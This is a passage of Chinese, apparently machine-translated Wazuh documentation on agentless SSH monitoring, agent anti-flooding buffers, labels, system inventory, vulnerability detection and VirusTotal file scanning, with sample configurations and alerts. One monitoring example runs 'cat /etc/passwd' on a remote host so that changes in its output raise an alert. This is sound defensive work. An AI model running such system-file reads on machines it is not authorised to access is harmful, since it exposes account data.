<agentless> <type>ssh_integrity_check_linux</type> <frequency>36000</frequency> <host>[email protected]</host> <state>periodic</state> <arguments>/bin /etc /sbin</arguments> </agentless> 2.3 通用差异 在此配置中,ls -la 和cat / etc / passwd命令将每20000秒执行一次。 如果命令的输出发生变化,将触发警报。 <agentless> <type>ssh_generic_diff</type> <frequency>20000</frequency> <host>[email protected]</host> <state>periodic_diff</state> <arguments>ls -la /etc; cat /etc/passwd</arguments> </agentless> 请注意,可以包含<arguments>标记中的多个条目,用“;”分隔。 2.4 Pix配置 在此配置中,Cisco PIX或路由器配置更改时将触发警报 <agentless> <type>ssh_pixconfig_diff</type> <frequency>36000</frequency> <host>[email protected]</host> <state>periodic_diff</state> </agentless> 3.常问问题 3.1 是否可以监视远程设备上命令的输出? 是的,使用ssh_generic_diff选项:示例 3.2 可以监控远程系统上的目录吗? 是的,使用ssh_integrity_check_bsd或ssh_integrity_check_linux选项。 十、反flooding机制 此机制旨在防止代理上的大量突发事件对网络或管理器产生负面影响。 它使用漏桶队列来收集所有生成的事件,并以低于指定事件每秒阈值的速率将它们发送给管理器。 这有助于避免Wazuh组件断开的事件或意外事件行为。。 此外,代理模块可以配置为限制其事件生成速率,从而降低漏桶缓冲区饱和的风险。 1.为什么需要反flooding机制 在Wazuh架构中,Wazuh代理从日志文件,命令输出,不同类型的扫描等收集信息。然后,他们将所有收集的信息发送给他们的管理器,生成单独的事件。 如果没有任何拥塞机制,代理可能会以系统物理上能够传输的速率发送事件,这可能是每秒数百或数千个事件。 由于这一事实,代理中的不正确配置可能会生成足够的事件来使网络或其管理器饱和。以下是一些可能导致此问题的错误配置方案: 包含不断更改的文件的目录的实时FIM(Syscheck): 每次受Syscheck监控的目录下的文件发生更改时,都会生成事件。如果Syscheck监视一个不断变化的目录,它将生成大量事件。此外,如果受监视的目录包含Wazuh在生成事件时写入的任何文件,例如/var/ossec/queue/,它将导致无限循环。 Windows过滤平台: 每次允许出站网络连接时,都会生成Windows防火墙事件(ID 5156)。在Windows中启用此事件,并且Wazuh配置为监视所有Windows安全日志事件时,结果是无限循环。当代理连接其管理器时,它会生成Windows防火墙事件,从而导致代理再次连接到其管理器。 没有速率限制的情况下重试错误的应用程序: 当某些应用程序遇到错误时,例如磁盘已满,可能会生成一条错误日志信息,并在每秒一遍又一遍地重试该任务数百次,从而产生大量事件。 这些场景中的每一个都可能产生如此高的事件率,使得代理,网络或管理器的功能可能受到明显的阻塞。 为了更好地处理这些情况,已部署以下控件: 代理到管理器反flooding机制: 这提供了具有代理端漏桶队列的事件拥塞控制,以防止代理对网络或管理器的进行阻塞。 内部代理防flooding控制: 此机制在代理的不同组件中使用内部控制,控制它们生成事件的速率。 2.漏桶工作原理 如上所述,漏桶是一个位于代理中的拥塞控制,重点是代理到管理器的通信。它将在代理上生成的事件收集到指定大小的缓冲区中(默认5000个事件),并以不高于指定的每秒事件数(默认500个eps)的速率将它们发送给管理器。这些值需要考虑到特定代理、管理器和网络环境的需要。下图显示了漏桶工作原理。 漏桶有几个控制级别,目的是了解缓冲状态,并能够预测和解决潜在的flooding攻击情况。 完全警报:当缓冲区的占用容量达到某个阈值时,第一个控件将触发管理器上的警报。 默认情况下,它设置为90%。 泛洪警报:在第一个控件之后,如果缓冲区被填满,管理器将触发另一个警报。此新警报比警告警报更严重,因为漏桶将丢弃传入事件。 正常警报:生成此警报以通知先前已触发警告警报或更高警报缓冲级别已恢复正常(默认情况下<= 70%)。 漏桶完全可配置,以适应任何环境,并使用以下配置选项: 2.1 测量配置 在本地配置<client_buffer>部分中,可以禁用缓冲区,配置缓冲区的大小(事件数),并配置以EPS或每秒事件数测量的吞吐量限制。 禁用缓冲区:此参数禁用漏桶的使用,从而不会限制代理向管理器传输的事件的速率。这就是代理的早期版本的设置方式。 队列大小:队列大小是一次可以在漏桶中保存的最大事件数。应根据代理可能生成事件的预期速率进行配置。默认情况下,此值设置为5000个事件,这对于大多数环境来说是一个很大的缓冲区大小。 每秒事件数:这是事件从代理缓冲区中提取并传输到其管理器的最大速率。默认值是500 EPS,但应考虑网络容量和一个管理器正在服务的代理的数量来设置。 此配置也可在集中配置中使用,这意味着可以在agent.conf中设置它,目的是从管理器端配置代理的bucke选项。 当agent.conf配置代理程序时,该配置将覆盖其自己的本地配置。为了允许代理最终决定允许传输的EPS的最小数量,不管在管理器级别通过agent.conf配置的EPS限制如何,可以在代理的内部配置中设置另一个名为agent.min_eps的变量。 2.2 阈值配置 在内部配置中,有更多与缓冲操作相关的高级选项。具体而言,可以配置警告和正常水平阈值,以及触发洪水警报的容差时间。 3.漏桶使用案例 在本节中,将展示当遇到极端情况时,漏桶是如何工作的。为此,下图显示了缓冲区在接收到比预期更多的事件时使用的不同阶段。以及它如何逐步处理情况。 3.1 正常状态(绿色区域) 如左图所示,缓冲区正常工作,接收和发送事件。 在这种情况下,管理器不会触发缓冲区警报。 但是,大量事件可能会导致缓冲区使用量增加,导致其达到警告级别,此处设置为90%。 3.2 警告状态(橙色区域) 一旦达到警告级别,管理器端就会触发如下警报: ** Alert 1501604235.59814: - wazuh,agent_flooding, 2017 Aug 01 18:17:15 (fedora) any->ossec-agent Rule: 202 (level 7) -> 'Agent buffer queue is 90% full.' wazuh: Agent buffer: '90%'. level: 90% 尽管有此警报,但由于缓冲区中仍有可用空间,因此未删除任何事件。 3.3 达到100%(浅红色区域) 当缓冲区继续接收比移除事件更快的事件时,它最终将达到其容量的100%,从而触发管理器上的另一个警报: ** Alert 1501604236.60027: - wazuh,agent_flooding, 2017 Aug 01 18:17:16 (fedora) any->ossec-agent Rule: 203 (level 9) -> 'Agent event queue is full. Events may be lost.' wazuh: Agent buffer: 'full'. level: full 重要的是要了解当缓冲区已满时,所有新到达的事件都将被丢弃,直到缓冲区中的可用空间打开。例如,如果在一秒钟内,1000个事件到达满容量限制为500 EPS的完整缓冲区,则将存储500个这样的事件,其他500个将被丢弃。 当缓冲区100%满时,启动一个计时器,将其与internal_options.conf中设置的容差时间进行比较。 在这一点上,可能会发生两件事: 在计时器达到容差时间之前,缓冲区的使用降低到警告级别以下。 如果发生这种情况,管理员不会显示有关泛洪的警报。此图说明了这种情况。 2.缓冲区的使用保持在警告级别之上,直到指定的容差时间结束。 现在,似乎缓冲区本身可能无法恢复到正常状态。 因此,在管理器上触发更严重的Flooding状态警报。 3.4 flooding状态(红色区域) 如果满足上述数字2中的条件,缓冲区将超出定义的容差时间和警告级别,则会触发Flooding状态警报。 此警报具有以下状态: ** Alert 1501604250.60248: mail - wazuh,agent_flooding, 2017 Aug 01 18:17:30 (fedora) any->ossec-agent Rule: 204 (level 12) -> 'Agent event queue is flooded. Check the agent configuration.' wazuh: Agent buffer: 'flooded'. level: flooded 注意:警报描述警告用户检查代理,因为它很可能不会自动恢复到正常状态。请记住,泛洪代理正在丢弃事件 3.5 恢复正常状态 图形的右侧区域显示缓冲区在达到100%后恢复到正常状态的方式。这可能是因为模块因某些事情已经完成或者因违规模块被手动关闭而停止生成过多事件。 为了让管理员知道代理何时再次正常工作,当使用maxed-out缓冲区减少到低于正常水平(默认为70%)时,会触发另一个警报。 警报看起来像这样: ** Alert 1501604257.60486: - wazuh,agent_flooding, 2017 Aug 01 18:17:37 (fedora) any->ossec-agent Rule: 205 (level 3) -> 'Agent event queue is back to normal load.' wazuh: Agent buffer: 'normal'. level: normal 当存储桶处于此状态时,不会丢弃任何事件。 4.代理模块中的反flooding 为了避免代理缓冲区饱和,然后事件丢失,可能导致此饱和的Wazuh代理守护程序的事件生成率受到限制。 Logcollector:如果日志文件的写入速度比日志收集器能够读取的快,这会对代理的正常运行产生负面影响。出于这个原因,代理将限制自己在每个读取周期内从同一个文件读取的最多可配置行数。 OpenSCAP Wodle:此模块以前在扫描完成后立即发送整个扫描结果集。现在它将扫描信息以规定的速度发送给管理器,以减少缓冲区最大化的可能性。 这些是位于内部配置的高级配置。 为此目的定义的变量称为logcollector.max_lines和wazuh_modules.max_eps,在更改这些值时应特别小心。 十一 agent标签 此功能允许用户自定义来自agent的警报信息,以包括与生成警报的agent相关的特定信息。这在处理或查看警报时很有用。此外,在大型环境中,此功能可用于通过任何常见特征(如时区)来识别代理组. 1.工作原理 配置将包含在警报中的标签是一个简单的过程。它可以使用简单的XML格式来完成,该格式将信息添加到警报中。标签可以通过将“关键”词分隔来嵌套,以包含在JSON格式的警报中。有关如何配置标签的信息可以在ossec.conf的Labels模块中找到。 代理标签也可以使用agent.conf文件进行集中管理,以便可以在管理器设置为特定代理标签。 当预先存在的标签与用户在ossec.conf或agent.conf中定义的标签相同时,第二个标签将覆盖第一个标签。有关如何集中代理配置的详细信息,请参阅“ 集中配置”部分。内部配置部分提供了添加配置信息。这包括有关analyzed.label_cache_maxage和analyzed.show_hidden_labels的信息。 2.用例 下面是一个使用标签可能会有帮助的案例 让我们假设在Amazon Web Service(AWS)中部署了一个大型环境并由Wazuh监控。在这种情况下,我们希望管理员在触发警报时获得有关每个代理的以下信息: AWS实例ID AWS安全组 网络IP地址 网络MAC 安装日期(隐藏) 要在来自特定代理的警报中包含这些标签,必须将以下配置插入到ossec.conf文件中: <labels> <label key="aws.instance-id">i-052a1838c</label> <label key="aws.sec-group">sg-1103</label> <label key="network.ip">172.17.0.0</label> <label key="network.mac">02:42:ac:11:00:02</label> <label key="installation" hidden="yes">January 1st, 2017</label> </labels> 要在管理器级别设置标签,将在agent.conf文件中添加以下配置: <agent_config name="92603de31548"> <labels> <label key="aws.instance-id">i-052a1838c</label> <label key="aws.sec-group">sg-1103</label> <label key="network.ip">172.17.0.0</label> <label key="network.mac">02:42:ac:11:00:02</label> <label key="installation" hidden="yes">January 1st, 2017</label> </labels> </agent_config> 当从管理器应用上述配置的代理触发警报时,定义的标签将向警报添加信息,如下所示: ** Alert 1488922301.778562: mail - ossec,syscheck,pci_dss_11.5, 2017 Jun 07 13:31:43 (92603de31548) 192.168.66.1->syscheck aws.instance-id: i-052a1838c aws.sec-group: sg-1103 network.ip: 172.17.0.0 network.mac: 02:42:ac:11:00:02 Rule: 550 (level 7) -> 'Integrity checksum changed.' Integrity checksum changed for: '/var/ossec/etc/ossec.conf' Size changed from '3663' to '3664' Old md5sum was: '98b351df146410f174a967d726f9965e' New md5sum is : '7f4f5846dcaa0013a91bd6d3ac4a1915' Old sha1sum was: 'c6368b866a835b15baf20976ae5ea7ea2788a30e' New sha1sum is : 'c959321244bdcec824ff0a32cad6d4f1246f53e9' JSON格式的相同警报显示了使用嵌套标签的优势: { "timestamp": "2017-03-07T13:31:41-0800", "rule": { "level": 7, "description": "Integrity checksum changed.", "id": "550", "firedtimes": 1, "groups": [ "ossec", "syscheck" ], "pci_dss": [ "11.5" ] }, "agent": { "id": "001", "name": "92603de31548", "ip": "192.168.66.1", "labels": { "aws": { "instance-id": "i-052a1838c", "sec-group": "sg-1103" }, "network": { "ip": "172.17.0.0", "mac": "02:42:ac:11:00:02" } } }, "manager": { "name": "ubuntu" }, "full_log": "Integrity checksum changed for: '/var/ossec/etc/ossec.conf' Size changed from '3663' to '3664' Old md5sum was: '98b351df146410f174a967d726f9965e' New md5sum is : '7f4f5846dcaa0013a91bd6d3ac4a1915' Old sha1sum was: 'c6368b866a835b15baf20976ae5ea7ea2788a30e' New sha1sum is : 'c959321244bdcec824ff0a32cad6d4f1246f53e9'", "syscheck": { "path": "/var/ossec/etc/ossec.conf", "size_before": "3663", "size_after": "3664", "perm_after": "100640", "uid_after": "0", "gid_after": "999", "md5_before": "98b351df146410f174a967d726f9965e", "md5_after": "7f4f5846dcaa0013a91bd6d3ac4a1915", "sha1_before": "c6368b866a835b15baf20976ae5ea7ea2788a30e", "sha1_after": "c959321244bdcec824ff0a32cad6d4f1246f53e9", "event": "modified" }, "decoder": { "name": "syscheck_integrity_changed" }, "location": "syscheck" } 如果已启用电子邮件报告,则会收到以下电子邮件通知: Wazuh Notification. 2017 Mar 07 13:31:41 Received From: (92603de31548) 192.168.66.1->syscheck Rule: 550 fired (level 7) -> "Integrity checksum changed." Portion of the log(s): aws.instance-id: i-052a1838c aws.sec-group: sg-1103 network.ip: 172.17.0.0 network.mac: 02:42:ac:11:00:02 Integrity checksum changed for: '/var/ossec/etc/ossec.conf' Old md5sum was: '98b351df146410f174a967d726f9965e' New md5sum is : '7f4f5846dcaa0013a91bd6d3ac4a1915' Old sha1sum was: 'c6368b866a835b15baf20976ae5ea7ea2788a30e' New sha1sum is : 'c959321244bdcec824ff0a32cad6d4f1246f53e 十二、系统清单 Wazuh代理能够收集有趣的系统信息并将其存储到管理器端的每个代理的SQLite数据库中。该Syscollector模块负责此项任务的。 1.工作原理 如上所述,该模块的主要目的是从受监控系统中收集相关的信息。 代理启动后,Syscollector会定期扫描已定义的目标(硬件,操作系统,软件包等),将新收集的数据转发给管理器,管理器会更新数据库的相应表。 代理的清单是针对不同的目标而收集的。 通过查询API以从DB检索数据,可以在每个代理的Wazuh APP的清单选项卡中找到整个清单。 此外,还提供了开发工具选项卡,通过此功能,可以直接查询API,以了解能够按任何所需字段过滤的不同扫描。 此外,包清单用作漏洞检测器模块的订阅源。 此外,软件包清单用作漏洞检测器模块的的订阅源。 2.可用扫描 来自Wazuh代理的收集信息存储在不同的SQLite表中。这里描述了每个可用表的内容。 目前,该模块适用于Linux,Windows,MacOS,OpenBS和FreeBSD。有关更多信息,请参阅兼容性选项。 2.1 硬件 版本3.2.0中的新功能。 检索有关系统硬件组件的基本信息。 名称描述参数平台 SCAN_ID 扫描标识符 573872577 所有 SCAN_TIME 扫描日期 2018/07/31 15:31:26 所有 board_serial 主板序列号 XDR840TUGM65E03171 所有 cpu_name CPU名称 Intel(R)Core(TM)i7-7700HQ CPU @ 2.80GHz 所有 cpu_cores CPU的核心数 4 所有 cpu_mhz 当前处理器频率 900.106 所有 ram_total 总RAM(KB) 16374572 所有 ram_free 剩余RAM(KB) 2111928 所有 ram_usage 正在使用的RAM百分比 87 所有 2.2 操作系统 版本3.2.0中的新功能。 检索有关操作系统的基本信息。 名称描述参数平台 SCAN_ID 扫描标识符 468455719 所有 SCAN_TIME 扫描日期 2018/07/31 15:31:26 所有 hostname 机器主机名 AG-的ubuntu-16 所有 architecture OS arquitecture x86_64的 所有 OS_NAME 操作系统名称 Ubuntu的 所有 OS_VERSION 操作系统版本 16.04.5 LTS(Xenial Xerus) 所有 os_codename 操作系统版本代号 Xenial Xerus 所有 os_major 主要发布版本 16 所有 os_minor 次要发布版本 04 所有 os_build 可选的特殊监听 14393 windows os_platform 系统平台 Ubuntu的 所有 sysname 系统名称 Linux Linux release 发布名称 4.15.0-29-generic Linux version 发布版本 #31~16.04.1-Ubuntu SMP Wed Jul 18 08:54:04 UTC 2018 所有 2.3 包 版本3.2.0中的新功能。 每个Wazuh代理商的当前包装清单。在Linux系统上,检索到的包可以是DEB或RPM类型。 名称描述参数平台 SCAN_ID 扫描标识符 1454946158 所有 SCAN_TIME 扫描日期 2018/07/27 07:27:14 所有 format 包格式 DEB 所有 name 包名称 linux-headers-generic 所有 priority 优先包 可选的 DEB section 包部分 kernel deb/rpm/pkg size 已安装包的大小(以字节为单位) 14 deb/rpm vendor 供应商名称 Ubuntu Kernel Team deb/rpm/win install_time 安装软件包日期 2018/02/08 18:45:48 rpm/win version 包版本 4.4.0.130.136 所有 architecture 包架构 AMD64 所有 multiarch 多体系结构支持 same DEB source 包来源 linux-meta deb/rpm/pkg description 包描述 Generic Linux kernel headers deb/rpm/pkg location 包位置 C:\Program Files\VMware\VMware Tools\ win/pkg 2.4 网络接口 版本3.5.0中的新功能。 网络接口扫描检索系统现有网络接口(上下接口)及其路由配置的信息,它由三个表组成,以确保信息尽可能结构化。 sys_netiface表 名称描述参数平台 ID ID 1 所有 SCAN_ID 扫描标识符 160615720 所有 SCAN_TIME 扫描日期 2018/07/31 16:46:20 所有 name 接口名称 为eth0 所有 adapter 物理适配器名称 英特尔(R)PRO / 1000 MT台式机适配器 Windows type 网络适配器 以太网络 所有 state 接口状态 向上 所有 MTU 最大传输单位 1500 所有 mac MAC地址 08:00:27:C0:14:A5 所有 tx_packets 传输的数据包 30279 所有 rx_packets 收到包 12754 所有 tx_bytes 传输的字节数 10034626 所有 rx_bytes 收到的字节数 1111175 所有 tx_errors 传输错误 0 所有 rx_errors 接收错误 0 所有 tx_dropped 丢弃传输包 0 所有 rx_dropped 丢弃接收数据包 0 所有 引用sys_netiface表中描述的接口,此表显示与该接口关联的IPv4和IPv6地址 名称描述参数平台 ID sys_netiface中引用的id 1 所有 SCAN_ID 扫描标识符 160615720 所有 proto 协议名称 IPv4的 所有 address IPv4 / IPv6地址 192.168.1.87 所有 netmask 网络掩码地址 255.255.255.0 所有 broadcast 广播地址 192.168.1.255 所有 sys_netproto表 引用sys_netiface表中描述的接口,该表显示了每个接口的路由配置。 名称描述参数平台 ID sys_netiface中引用的id 1 所有 SCAN_ID 扫描标识符 160615720 所有 iface 接口名称 eth0 所有 type 接口数据的协议 IPv4 所有 gateway 默认网关 192.168.1.1 Linux / Windows DHCP DHCP状态 enabled Linux / Windows 2.5 端口 版本3.5.0中的新功能。 列出系统的已开放端口。 名称描述参数平台 SCAN_ID 扫描标识符 1618114744 所有 SCAN_TIME 扫描日期 2018/07/27 07:27:15 所有 protocol 端口协议 TCP 所有 local_ip 本地IP 0.0.0.0 所有 LOCAL_PORT 本地端口 22 所有 remote_ip 远程IP 0.0.0.0 所有 REMOTE_PORT 远程端口 0 所有 tx_queue 待传输的数据包 0 Linux rx_queue 接收队列中的数据包 0 Linux inode 端口的节点 16974 Linux state 端口的状态 listening 所有 PID 已开放端口的所有进程 4 Windows process 进程的名称 System Windows 2.6 流程 版本3.5.0中的新功能。 列出系统主机中运行的当前进程。 名称描述参数平台 SCAN_ID 扫描标识符 215303769 所有 SCAN_TIME 扫描日期 2018/08/03 12:57:58 所有 PID 进程PID 603 所有 name 流程名称 rsyslogd 所有 stae 进程状况 s Linux PPID PPID值 1 所有 UTIME 执行用户代码所花费的时间 157 Linux STIME 执行系统代码所花费的时间 221 所有 CMD 命令已执行 /usr/sbin/rsyslogd 所有 argvs 过程的参数 -n Linux EUSER 有效的用户 root Linux RUSER 真实的用户 root Linux suser 已保存的用户 root Linux egroup 有效的组 root Linux rgroup 真实的组 root linux sgroup 保存组 root Linux FGROUP 文件系统组名称 root Linux priority 内核调度优先级 20 所有 nice 良好的进程值 0 Linux size 进程的大小 53030 所有 vm_size 总VM大小(KB) 212120 所有 resident Residen的进程大小(以字节为单位) 902 Linux share 共享内存 814 Linux start_time 进程开始的时间 1893 Linux PGRP 流进程组 603 Linux session 会议进程 603 所有 NLWP 轻量级进程的数量 3 所有 TGID 线程组ID 603 Linux TTY 进程的TTY数 0 Linux processor 处理器的编号 0 Linux 3. 兼容性模块 下表显示了此模块当前支持的操作系统。 操作系统 Syscollector扫描 硬件 系统 包 网络 端口 流程 windows ✓ ✓ ✓ ✓ ✓ ✓ Linux ✓ ✓ ✓ ✓ ✓ ✓ mac ✓ ✓ ✓ ✓ ✗ ✗ FreeBSD ✓ ✓ ✓ ✓ ✗ ✗ OpenBSD ✓ ✓ ✗ ✓ ✗ ✗ 4. 使用案例:在Wazuh应用程序中可视化系统清单 默认情况下,Syscollector模块在所有兼容系统中启用,包括所有可用扫描。在这里我们可以看到默认配置块: <!-- System inventory --> <wodle name="syscollector"> <disabled>no</disabled> <interval>1h</interval> <scan_on_start>yes</scan_on_start> <hardware>yes</hardware> <os>yes</os> <network>yes</network> <packages>yes</packages> <ports all="no">yes</ports> <processes>yes</processes> </wodle> 一旦模块启动,它将定期运行扫描并以JSON事件格式将新数据发送到管理器,在那里它将被解码并存储到每个代理的特定数据库中。 可以通过不同方式查询当前清单。让我们看一个查询Debian代理中特定包的示例: 直接在位于管理器端查询数据库:$install_directory/queue/db/:agent_id.db # sqlite3 /var/ossec/queue/db/003.db SQLite version 3.7.17 2013-05-20 00:56:22 Enter ".help" for instructions Enter SQL statements terminated with a ";" sqlite> select * from sys_programs where name="wazuh-agent"; 696614220|2018/08/06 02:07:30|deb|wazuh-agent|extra|admin|105546|Wazuh, Inc <[email protected]>||3.5.0-1|amd64|||Wazuh helps you to gain security visibility into your infrastructure by monitoring hosts at an operating system and application level. It provides the following capabilities: log analysis, file integrity monitoring, intrusions detection and policy and compliance monitoring||0 通过查询API,它以JSON格式检索嵌套数据。 # curl -u foo:bar -X GET "http://localhost:55000/syscollector/003/packages?pretty&name=wazuh-agent" { "error": 0, "data": { "totalItems": 1, "items": [ { "vendor": "Wazuh, Inc <[email protected]>", "description": "Wazuh helps you to gain security visibility into your infrastructure by monitoring hosts at an operating system and application level. It provides the following capabilities: log analysis, file integrity monitoring, intrusions detection and policy and compliance monitoring", "scan": { "id": 696614220, "time": "2018/08/06 02:07:30" }, "section": "admin", "format": "deb", "name": "wazuh-agent", "priority": "extra", "version": "3.5.0-1", "architecture": "amd64", "size": 105546 } ] } } 此外,可以在Wazuh应用程序中查阅相同的信息,其中包括每个代理的“清单”选项卡。目前,此选项卡上有可用的操作系统,硬件和软件包清单,如下面的屏幕截图所示: 在开发工具选项卡也可直接从Wazuh应用查询API,如下所示: 您可以在Syscollector配置参考中找到有关如何配置此功能的更多信息。 十二、漏洞检测 版本3.2.0中的新功能。 此功能可用于检测已知易受攻击的应用程序(受CVE影响)。 1.工作原理 为了能够检测漏洞,现在代理能够本地收集已安装应用程序的列表,并定期将其发送给管理器(其存储在本地sqlite数据库中,每个代理一个数据库)。此外,管理器使用公共OVAL CVE库构建全局漏洞数据库,然后使用它将此信息与代理的应用程序清单数据进行关联。 全局漏洞数据库是自动创建的,目前从以下库中提取数据: https://people.canonical.com:用于为Ubuntu Linux发行版提取CVE。 https://www.redhat.com:用于为Red Hat和CentOS Linux发行版提供CVE。 https://www.debian.com:用于为Debian Linux发行版提取CVE。 可以将此数据库配置为定期更新,以确保解决方案将检查最新的CVE。 创建全局漏洞数据库(使用CVE)后,检测过程将在清单数据库中查找易受攻击的软件包(每个代理的哦程序唯一)。当CVE(常见漏洞和披露)影响已知安装在其中一个受监视服务器中的程序包时,将生成警报。 2.兼容性模块 下表显示了漏洞检测程序当前支持的操作系统(我们正在支持新的操作系统)以及每个分发所需的OVAL配置: 系统版本配置Feed Red Hat & CentOS 5 红帽安全数据库 6 7 Ubuntu 12 Ubuntu 12 OVAL 14 Ubuntu 14 OVAL 16 Ubuntu 16 OVAL 18 Ubuntu 18 OVAL Debian 7 Debian 7 OVAL 8 Debian 8 OVAL 9 Debian 9 OVAL Amazon Linux 1 红帽安全数据库 2 3.运行漏洞扫描使用案例 以下示例显示如何配置运行漏洞检测过程所需的组件。 启用用于在受监视系统上收集已安装软件包的代理模块。 您可以这样做,将以下设置块添加到您的管理器配置文件中: <wodle name = “syscollector” > <disabled> no </ disabled> <interval> 1h </ interval> <packages> yes </ packages> </ wodle> 检查Syscollector设置以获取更多详细信息。 2.启用用于检测漏洞的管理器模块。 您可以这样做,将以下设置块添加到管理器配置文件中: <wodle name = “vulnerability-detector” > <disabled> no </ disabled> <interval> 5m </ interval> <run_on_start> yes </ run_on_start> <feed name = “ubuntu-18” > <disabled> no </ disabled> <update_interval> 1h </ update_interval> </ feed> </ wodle> 请记住重新启动管理器以应用更改: a.For Systemd: # systemctl restart wazuh-manager b.For SysV Init: # service wazuh-manager restart 检查漏洞检测器设置以获取更多详细信息。 每个警报都会捕获以下字段: CVE:相应漏洞的CVE标识符。 标题:漏洞影响的简单描述。 严重性:它指定漏洞在安全性方面的影响。 发布:漏洞被包含在官方数据库中的日期。 参考:官方数据库网站的URL以及该漏洞的额外信息。 理由:该漏洞的广泛描述。 状态:此字段通知是否存在漏洞(已修复)或其状态的补丁。 请参阅下面的警报示例: ** Alert 1532935655.161547: - vulnerability-detector,gdpr_IV_35.7.d, 2018 Jul 30 09:27:35 manager->vulnerability-detector Rule: 23505 (level 10) -> 'CVE-2018-3693 on Ubuntu 18.04 LTS (bionic) - high.' {"vulnerability":{"cve":"CVE-2018-3693","title":"CVE-2018-3693 on Ubuntu 18.04 LTS (bionic) - high.","severity":"High","published":"2018-07-10","updated":"2018-07-10","reference":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3693","state":"Pending confirmation","package":{"name":"firefox","version":"61.0.1+build1-0ubuntu0.18.04.1"}}} vulnerability.cve: CVE-2018-3693 vulnerability.title: CVE-2018-3693 on Ubuntu 18.04 LTS (bionic) - high. vulnerability.severity: High vulnerability.published: 2018-07-10 vulnerability.updated: 2018-07-10 vulnerability.reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3693 vulnerability.state: Pending confirmation vulnerability.package.name: firefox vulnerability.package.version: 61.0.1+build1-0ubuntu0.18.04.1 下图显示了Kibana上的漏洞警报: 十三、VirusTotal集成 3.0.0版中的新功能。 Wazuh可以扫描受监控文件中的恶意内容。通过与VirusTotal集成,可以实现此解决方案,VirusTotal是一个功能强大的平台,可聚合多个防病毒产品以及在线扫描引擎。将此工具与我们的FIM引擎相结合,可以提供一种简单的方法来扫描受监视的文件,以检查它们是否存在恶意内容。 1.关于VirusTotal VirusTotal是一种在线服务,可使用防病毒引擎和网站扫描程序分析文件和URL,以检测病毒,蠕虫,特洛伊木马和其他类型的恶意内容。它还具有检测误报的能力。 VirusTotal是一项免费服务,具有众多实用功能。为了我们的目的,我们将强调以下内容: VirusTotal存储它执行的所有分析,允许搜索特定文件的哈希值。通过将哈希发送到VirusTotal引擎,可以知道VirusTotal是否已扫描该特定文件并分析其报告。 Virustotal还提供了一个API,允许访问Virustotal生成的信息,而无需使用HTML网站界面。此API受其服务条款的约束,这些条款将在下面的章节中进行简要讨论。 1.1服务条款 VirusTotal的服务条款指定了VirusTotal API的两种使用方式: 1.2公共API 此方法使用具有许多VirusTotal功能的免费API,但是,它有一些重要的限制,例如: 请求率限制为每分钟不超过四个请求 此API为VirusTotal引擎执行的请求的低优先级访问。 VirusTotal文档指出,运行honeyclient,honeypot或任何其他为VirusTotal提供资源的自动化的用户在执行API调用时会获得更高的请求率配额和特权。 1.3 私有API VirusTotal还提供高级私有API,其中请求率和允许的查询总数仅受用户的服务条款限制。除此之外,它还为请求提供高优先级访问,以及其他优势。 要了解有关VirusTotal,其服务条款及其API的更多信息,请访问他们的网站。 2.工作原理 此集成利用VirusTotal API检测由此集成利用VirusTotal API检测由文件完整性检查的监控文件中的恶意内容。 此集成的功能如下所述: FIM会查找受监视文件夹上的任何文件添加,更改或删除。此模块存储此文件的哈希值,并在进行任何更改时触发警报。 启用VirusTotal集成后,会在发生FIM警报时触发它。从该警报中,模块提取文件的哈希字段。 模块使用VirusTotal API向VirusTotal数据库发出HTTP POST请求,以便在提取的哈希值与数据库中包含的信息之间进行比较。 接收JSON响应后,该响应是此搜索的结果,将触发以下警报之一: 错误:已达到公共API请求频率限制。 错误:检查凭据。 警报:VirusTotal数据库中没有记录。 警报:未发现未知的攻击 警报:X引擎检测到此文件。 触发的警报记录在integration.log文件中,并存储在alerts.log文件中,包含所有其他警报。 在下面的VirusTotal集成警报部分中查找这些警报的示例。 3.扫描文件使用案例 3.1 入门 按照与外部API集成中的说明启用Integrator守护程序,安装requests程序包并配置VirusTotal集成。 这是在ossec.conf文件中添加的示例配置: <integration> <name>virustotal</name> <api_key>API_KEY</api_key> <!-- Replace with your VirusTotal API key --> <group>syscheck</group> <alert_format>json</alert_format> </integration> 3.2 使用FIM监视目录 对于此用例,我们将展示如何使用代理监视文件夹/media/user/software 必须将以下内容添加到配置文件的<syscheck>部分中: <syscheck> ... <directories check_all="yes" realtime="yes">/media/user/software</directories> ... </syscheck> 2.应用配置后,您必须重新启动Wazuh管理器: 对于Systemd: #systemctl restart wazuh-manager 对于SysV Init: #service wazuh-manager restart 重新启动后,FIM将应用新配置,并将实时监控指定的文件夹。将文件添加到受监视目录时,将显示以下警报: ** Alert 1510684983.55139: - ossec,syscheck,pci_dss_11.5,gpg13_4.11, 2017 Nov 14 18:43:03 PC->syscheck Rule: 554 (level 5) -> 'File added to the system.' New file '/media/user/software/suspicious-file.exe' added to the file system. File: /media/user/software/suspicious-file.exe New size: 1568509 New permissions: 100777 New user: user (1000) New group: user (1000) New MD5: 9519135089d69ad7ae6b00a78480bb2b New SHA1: 68b92d885317929e5b283395400ec3322bc9db5e New date: Tue Nov 14 18:42:41 2017 New inode: 104062 从此警报中,集成器守护程序提取哈希字段,将请求发送到VirusTotal进行比较。 注意:有关如何在其手册中使用文件完整性监控进行常规或实时目录扫描的详细信息。 3.3 VirusTotal集成警报 当integrator 器模块发送对VirusTotal的请求时,如上所述,将根据情况触发不同的警报。以下是这些警报的示例和说明: API认证不正确: ** Alert 1510676062.9653: - virustotal, 2017 Nov 14 16:14:22 PC->virustotal Rule: 87102 (level 3) -> 'VirusTotal: Error: Check credentials' {"virustotal": {"description": "Error: Check credentials", "error": 403}, "integration": "virustotal"} virustotal.description: Error: Check credentials virustotal.error: 403 integration: virustotal 此错误表示配置中设置的API密钥无效。 API已达到设定的频率限制: ** Alert 1510684990.60518: - virustotal, 2017 Nov 14 18:43:10 PC->virustotal Rule: 87101 (level 3) -> 'VirusTotal: Error: Public API request rate limit reached' {"virustotal": {"description": "Error: Public API request rate limit reached", "error": 204}, "integration": "virustotal"} virustotal.description: Error: Public API request rate limit reached virustotal.error: 204 integration: virustotal 达到VirusTotal设置的请求频率限制时会触发此错误。有关此限制的更多信息,请参阅服务条款。 虽然之前的两个警报表示可能发生的错误,但以下是成功请求返回的警报示例: 当VirusTotal数据库中没有记录时收到的警报: ** Alert 1510684376.32386: - virustotal, 2017 Nov 14 18:32:56 PC->virustotal Rule: 87103 (level 3) -> 'VirusTotal: Alert - No records in VirusTotal database' {"virustotal": {"found": 0, 